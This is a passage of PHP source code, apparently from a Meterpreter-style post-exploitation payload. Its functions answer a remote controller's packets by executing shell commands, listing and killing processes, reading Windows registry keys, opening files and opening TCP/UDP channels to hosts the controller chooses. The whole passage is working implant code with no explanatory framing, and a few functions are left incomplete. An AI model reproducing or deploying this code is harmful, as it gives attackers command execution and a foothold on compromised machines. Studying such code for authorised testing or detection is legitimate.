# strlen($cmd)) { return ERROR_FAILURE; } #my_print("Flags: $flags (" . ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) .")"); if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { global $processes; my_print("Channelized"); $handle = proc_open($real_cmd, array(array('pipe','r'), array('pipe','w'), array('pipe','w')), $pipes); if ($handle === false) { return ERROR_FAILURE; } $pipes['type'] = 'stream'; register_stream($pipes[0]); register_stream($pipes[1]); register_stream($pipes[2]); $cid = register_channel($pipes[0], $pipes[1], $pipes[2]); # associate the process with this channel so we know when to close it. $processes[$cid] = $handle; packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, 0)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes)-1)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); } else { # Don't care about stdin/stdout, just run the command my_cmd($real_cmd); } return ERROR_SUCCESS; } } # Works, but not very portable. There doesn't appear to be a PHP way of # getting a list of processes, so we just shell out to ps/tasklist.exe. I need # to decide what options to send to ps for portability and for information # usefulness. if (!function_exists('stdapi_sys_process_get_processes')) { function stdapi_sys_process_get_processes($req, &$pkt) { my_print("doing get_processes"); $list = array(); if (is_windows()) { # This command produces a line like: # "tasklist.exe","2264","Console","0","4,556 K","Running","EGYPT-B3E55BF3C\Administrator","0:00:00","OleMainThreadWndName" $output = my_cmd("tasklist /v /fo csv /nh"); $lines = explode("\n", trim($output)); foreach ($lines as $line) { $line = trim($line); # # Ghetto CSV parsing # $pieces = preg_split('/","/', $line); # Strip off the initial quote on the first and last elements $pieces[0] = substr($pieces[0], 1, strlen($pieces[0])); $cnt = count($pieces) - 1; $pieces[$cnt] = substr($pieces[$cnt], 1, strlen($pieces[$cnt])); $proc_info = array($pieces[1], $pieces[6], $pieces[0]); array_push($list, $proc_info); } } else { # This command produces a line like: # 1553 root /sbin/getty -8 38400 tty1 $output = my_cmd("ps ax -w -o pid,user,cmd --no-header 2>/dev/null"); $lines = explode("\n", trim($output)); foreach ($lines as $line) { array_push($list, preg_split("/\s+/", trim($line))); } } foreach ($list as $proc) { $grp = ""; $grp .= tlv_pack(create_tlv(TLV_TYPE_PID, $proc[0])); $grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[1])); $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[2])); # Strip the pid and the user name off the front; the rest will be the # full command line array_shift($proc); array_shift($proc); $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_PATH, join($proc, " "))); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_GROUP, $grp)); } return ERROR_SUCCESS; } } # works if (!function_exists('stdapi_sys_process_getpid')) { function stdapi_sys_process_getpid($req, &$pkt) { my_print("doing getpid"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid())); return ERROR_SUCCESS; } } if (!function_exists('stdapi_sys_process_kill')) { function stdapi_sys_process_kill($req, &$pkt) { # The existence of posix_kill is unlikely (it's a php compile-time option # that isn't enabled by default, but better to try it and avoid shelling # out when unnecessary. my_print("doing kill"); $pid_tlv = packet_get_tlv($req, TLV_TYPE_PID); $pid = $pid_tlv['value']; if (is_callable('posix_kill')) { $ret = posix_kill($pid, 9); $ret = $ret ? ERROR_SUCCESS : posix_get_last_error(); if ($ret != ERROR_SUCCESS) { my_print(posix_strerror($ret)); } } else { $ret = ERROR_FAILURE; if (is_windows()) { my_cmd("taskkill /f /pid $pid"); # Don't know how to check for success yet, so just assume it worked $ret = ERROR_SUCCESS; } else { if ("foo" == my_cmd("kill -9 $pid && echo foo")) { $ret = ERROR_SUCCESS; } } } return $ret; } } if (!function_exists('stdapi_net_socket_tcp_shutdown')) { function stdapi_net_socket_tcp_shutdown($req, &$pkt) { my_print("doing stdapi_net_socket_tcp_shutdown"); $cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $c = get_channel_by_id($cid_tlv['value']); if ($c && $c['type'] == 'socket') { @socket_shutdown($c[0], $how); $ret = ERROR_SUCCESS; } else { $ret = ERROR_FAILURE; } return $ret; } } # # Registry # if (!function_exists('register_registry_key')) { $_GLOBALS['registry_handles'] = array(); function register_registry_key($key) { global $registry_handles; $registry_handles[] = $key; return count($registry_handles) - 1; } } if (!function_exists('deregister_registry_key')) { function deregister_registry_key($id) { global $registry_handles; $registry_handles[$id] = null; } } if (!function_exists('stdapi_registry_create_key')) { function stdapi_registry_create_key($req, &$pkt) { my_print("doing stdapi_registry_create_key"); if (is_windows() and is_callable('reg_open_key')) { $root_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); $base_tlv = packet_get_tlv($req, TLV_TYPE_BASE_KEY); $perm_tlv = packet_get_tlv($req, TLV_TYPE_PERMISSION); dump_array($root_tlv); dump_array($base_tlv); # For some reason the php constants for registry root keys do not have # the high bit set and are 1 less than the normal Windows constants, so # fix it here. $root = ($root_tlv['value'] & ~0x80000000) + 1; $base = $base_tlv['value']; my_print("reg opening '$root', '$base'"); $key = reg_open_key($root, $base); if (!$key) { my_print("reg open failed: $key"); return ERROR_FAILURE; } $key_id = register_registry_key($key); packet_add_tlv($pkt, create_tlv(TLV_TYPE_HKEY, $key_id)); return ERROR_SUCCESS; } else { return ERROR_FAILURE; } } } if (!function_exists('stdapi_registry_close_key')) { function stdapi_registry_close_key($req, &$pkt) { if (is_windows() and is_callable('reg_open_key')) { global $registry_handles; my_print("doing stdapi_registry_close_key"); $key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); $key_id = $key_id_tlv['value']; reg_close_key($registry_handles[$key_id]); deregister_registry_key($key_id); return ERROR_SUCCESS; } else { return ERROR_FAILURE; } } } if (!function_exists('stdapi_registry_query_value')) { function stdapi_registry_query_value($req, &$pkt) { if (is_windows() and is_callable('reg_open_key')) { global $registry_handles; my_print("doing stdapi_registry_query_value"); $key_id_tlv = packet_get_tlv($req, TLV_TYPE_HKEY); $key_id = $key_id_tlv['value']; $name_tlv = packet_get_tlv($req, TLV_TYPE_VALUE_NAME); $name = $name_tlv['value']; #my_print("Looking up stored key handle $key_id"); #dump_array($registry_handles, "Reg handles"); $key = $registry_handles[$key_id]; if (!$key) { return ERROR_FAILURE; } $data = reg_get_value($key, $name); my_print("Found data for $key\\$name : $data, ". is_int($data)); # There doesn't appear to be an API to get the type, all we can do is # infer based on what the value looks like. =( if (is_int($data)) { $type = REG_DWORD; $data = pack("N", (int)$data); } else { $type = REG_SZ; # The api strips the null for us, so put it back $data = $data ."\x00"; } packet_add_tlv($pkt, create_tlv(TLV_TYPE_VALUE_DATA, $data)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_VALUE_TYPE, $type)); } else { return ERROR_FAILURE; } } } if (!function_exists('stdapi_registry_set_value')) { function stdapi_registry_set_value($req, &$pkt) { if (is_windows() and is_callable('reg_open_key')) { global $registry_handles; my_print("doing stdapi_registry_set_value"); $key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); $key_id = $key_id_tlv['value']; } else { return ERROR_FAILURE; } } } # END STDAPI ## # Channel Helper Functions ## if (!function_exists('channel_create_stdapi_fs_file')) { function channel_create_stdapi_fs_file($req, &$pkt) { $fpath_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); $mode_tlv = packet_get_tlv($req, TLV_TYPE_FILE_MODE); #my_print("Opening path {$fpath_tlv['value']} with mode {$mode_tlv['value']}"); if (!$mode_tlv) { $mode_tlv = array('value' => 'rb'); } $fd = @fopen($fpath_tlv['value'], $mode_tlv['value']); if (is_resource($fd)) { register_stream($fd); $id = register_channel($fd); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); return ERROR_SUCCESS; } else { my_print("Failed to open"); } return ERROR_FAILURE; } } if (!function_exists('channel_create_stdapi_net_tcp_client')) { function channel_create_stdapi_net_tcp_client($req, &$pkt) { my_print("creating tcp client"); $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST); $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT); $local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST); $local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT); $retries_tlv = packet_get_tlv($req, TLV_TYPE_CONNECT_RETRIES); if ($retries_tlv['value']) { $retries = $retries_tlv['value']; } else { $retries = 1; } for ($i = 0; $i < $retries; $i++) { $sock = connect($peer_host_tlv['value'], $peer_port_tlv['value']); if ($sock) { break; } } if (!$sock) { return ERROR_FAILURE; } # # If we got here, the connection worked, respond with the new channel ID # $id = register_channel($sock); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); add_reader($sock); return ERROR_SUCCESS; } } if (!function_exists('channel_create_stdapi_net_udp_client')) { function channel_create_stdapi_net_udp_client($req, &$pkt) { my_print("creating udp client"); $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST); $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT); # We can't actually do anything with local_host and local_port because PHP # doesn't let us specify these values in any of the exposed socket API # functions. #$local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST); #$local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT); $sock = connect($peer_host_tlv['value'], $peer_port_tlv['value'], 'udp'); my_print("UDP channel on {$sock}"); if (!$sock) { return ERROR_FAILURE; } # # If we got here, the connection worked, respond with the new channel ID # $id = register_channel($sock); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); add_reader($sock); return ERROR_SUCCESS; } }